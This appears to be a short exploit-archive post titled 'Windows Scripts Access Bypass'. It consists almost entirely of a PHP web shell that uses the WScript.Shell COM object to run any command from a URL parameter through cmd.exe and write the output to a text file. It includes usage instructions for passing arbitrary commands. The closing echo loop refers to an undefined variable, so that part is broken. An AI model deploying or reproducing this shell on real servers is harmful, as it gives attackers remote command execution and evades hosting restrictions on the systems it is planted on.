Windows Scripts Access Bypass

`  
  
  
<?php  
// Windows Scripts Access Bypass Vulnerability  
// by : Hussin X  
// WwW.iq-ty.com<http://WwW.iq-ty.com>  
// use www.iq-ty.com/bypass.php?iq=dir<http://www.iq-ty.com/bypass.php?iq=dir> << or any commands  
// go to the iq-security.txt  
  
$iqsec = new COM("WScript.Shell");  
$iqsec->Run('c:\windows\system32\cmd.exe /c '.escapeshellarg($_GET[iq]).' > '.dirname($_SERVER[SCRIPT_FILENAME]).'/iq-security.txt');  
for ($i=0; $i<count($iqhost); $i++) {echo nl2br(htmlentities($iqhost[$i]));}  
  
  
?>  
  
  
  
`